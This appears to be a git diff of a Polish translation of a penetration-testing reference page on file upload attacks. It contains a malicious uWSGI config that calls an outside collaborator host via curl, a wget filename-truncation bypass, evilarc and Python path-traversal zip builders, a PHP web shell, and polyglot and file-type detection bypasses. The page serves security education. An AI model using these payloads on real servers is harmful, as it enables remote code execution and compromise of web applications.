Remote Command Execution (RCE) vulnerabilities mogą być wykorzystane na serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI korzystają ze specyficznej składni pozwalającej na "magic" zmienne, placeholdery i operatory. W szczególności operator '@', używany jako `@(filename)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny — pozwala czytać dane ze standardowego wyjścia procesu. Ta funkcja może być zmanipulowana do złośliwych celów, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy przetwarzany jest plik `.ini`.
|
||||
|
||||
Rozważ następujący przykład złośliwego pliku `uwsgi.ini`, pokazujący różne schematy:
|
||||
```ini
|
||||
@ -156,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Wykonanie payload odbywa się podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (np. po crashu lub z powodu ataku Denial of Service) albo plik musi mieć włączony auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.
|
||||
Wykonanie payload ma miejsce podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub w wyniku ataku Denial of Service) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.
|
||||
|
||||
Kluczowe jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres możliwej eksploatacji.
|
||||
Kluczowe jest zrozumienie luźnej natury parsowania plików konfiguracyjnych uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget Przesyłanie plików/SSRF sztuczka**
|
||||
|
||||
W niektórych przypadkach możesz odkryć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na whitelist, aby zapewnić, że pobierane będą tylko dozwolone pliki. Jednak **to sprawdzenie można obejść.**\
|
||||
|
||||
The **maksymalna** długość **nazwy pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **dozwolonym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
|
||||
W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tego sprawdzenia można obejść.**\
|
||||
Maksymalna długość **nazwa pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **dopuszczalnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -228,7 +227,7 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Rozszerzenie Burp
|
||||
#### Burp Extension
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -254,18 +253,18 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Rozpakowywanie w różnych folderach
|
||||
### Rozpakowywanie do różnych folderów
|
||||
|
||||
Niespodziewane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowych założeń, że takie ustawienie może chronić przed OS-level command execution poprzez malicious file uploads, hierarchiczne wsparcie dla kompresji i możliwości directory traversal formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z zabezpieczonych katalogów upload, manipulując funkcją dekompresji atakowanej aplikacji.
|
||||
Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, hierarchical compression support i możliwości directory traversal formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i uciec z secure upload directories, manipulując funkcją dekompresji aplikacji docelowej.
|
||||
|
||||
Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Dodatkowo opcją jest **symlink trick with evilarc**. Jeśli celem jest plik taki jak `/flag.txt`, w systemie należy utworzyć do niego symlink. To zapewnia, że evilarc nie napotka błędów podczas działania.
|
||||
Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania.
|
||||
|
||||
Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwego pliku zip:
|
||||
```python
|
||||
@ -285,11 +284,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Wykorzystywanie kompresji do file spraying**
|
||||
**Nadużywanie kompresji do file sprayingu**
|
||||
|
||||
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Szczegóły: **zobacz oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Tworzenie PHP Shell**: Kod PHP wykonuje polecenia przekazywane przez zmienną `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Kod PHP jest napisany tak, aby wykonywać polecenia przekazane przez zmienną `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -299,14 +298,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Tworzy się wiele plików i składane jest archiwum zip zawierające te pliki.
|
||||
2. **File Spraying and Compressed File Creation**: Tworzy się wiele plików, a następnie składany jest plik zip zawierający te pliki.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modyfikacja za pomocą hex edytora lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub hex edytora, zastępując "xxA" na "../", aby przejść do katalogów nadrzędnych.
|
||||
3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zipa są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów wyżej.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -325,31 +324,31 @@ pop graphic-context
|
||||
```
|
||||
## Osadzanie PHP Shell w PNG
|
||||
|
||||
Osadzenie PHP Shell w IDAT chunk pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do skalowania i ponownego próbkowania obrazów. Możliwość, że osadzony PHP Shell pozostanie niezmieniony przez te operacje, stanowi istotną zaletę w niektórych scenariuszach użycia.
|
||||
Osadzenie PHP shell w sekcji IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i resamplingu obrazów. Zdolność osadzonego PHP shell do pozostania nienaruszonym przez te operacje stanowi znaczącą zaletę w pewnych przypadkach użycia.
|
||||
|
||||
Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał daje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał zapewnia kompleksowe zrozumienie procesu i jego implikacji.
|
||||
|
||||
Więcej informacji: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Pliki polyglot
|
||||
|
||||
Pliki polyglot pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które jednocześnie mogą być poprawne w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są również kombinacje typu GIF i JS lub PPT i JS.
|
||||
Pliki polyglot pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które mogą poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są także kombinacje typu GIF i JS lub PPT i JS.
|
||||
|
||||
Główna użyteczność plików polyglot polega na ich zdolności do obchodzenia mechanizmów bezpieczeństwa, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie jedynie na określone typy plików do uploadu — np. JPEG, GIF czy DOC — aby ograniczyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednakże polyglot, spełniając strukturalne kryteria kilku formatów jednocześnie, może potajemnie ominąć te ograniczenia.
|
||||
Główną przydatnością plików polyglot jest ich zdolność do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie jedynie na określone typy plików do uploadu — jak JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria kilku formatów jednocześnie, może podstępnie ominąć te ograniczenia.
|
||||
|
||||
Mimo swojej elastyczności, polygloty napotykają na ograniczenia. Na przykład, choć polyglot może jednocześnie funkcjonować jako plik PHAR i JPEG, powodzenie uploadu może zależeć od polityki dotyczącej rozszerzeń plików na danej platformie. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwoistość polyglotu może nie wystarczyć, by zagwarantować jego przesłanie.
|
||||
Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie pełnić funkcję pliku PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zapewnić jego przesłanie.
|
||||
|
||||
Więcej informacji: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Wgrywanie prawidłowych JSON-ów tak, jakby to był PDF
|
||||
### Wgrywanie poprawnych JSON-ów tak, jakby to był PDF
|
||||
|
||||
Jak uniknąć wykrywania typu pliku przez wgranie prawidłowego pliku JSON nawet jeśli nie jest to dozwolone, podszywając się pod PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Jak uniknąć wykrywania typu pliku przez wgranie poprawnego pliku JSON, nawet gdy nie jest to dozwolone, podszywając się pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Dopóki magiczne bajty `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w artykule).
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w artykule).
|
||||
- **`file` binary**: Potrafi czytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, tak aby nie mógł sparsować zawartości jako JSON, a następnie umieścić wewnątrz JSON początkową część prawdziwego PDF — wówczas narzędzie pomyśli, że to PDF.
|
||||
- **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście)
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w poście)
|
||||
- **`file` binary**: Program może odczytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, tak by nie mógł sparsować zawartości jako JSON, a następnie w środku JSON umieścić początkową część prawdziwego PDF — narzędzie uzna go wtedy za PDF
|
||||
|
||||
## Referencje
|
||||
## Źródła
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
|
Loading…
x
Reference in New Issue
Block a user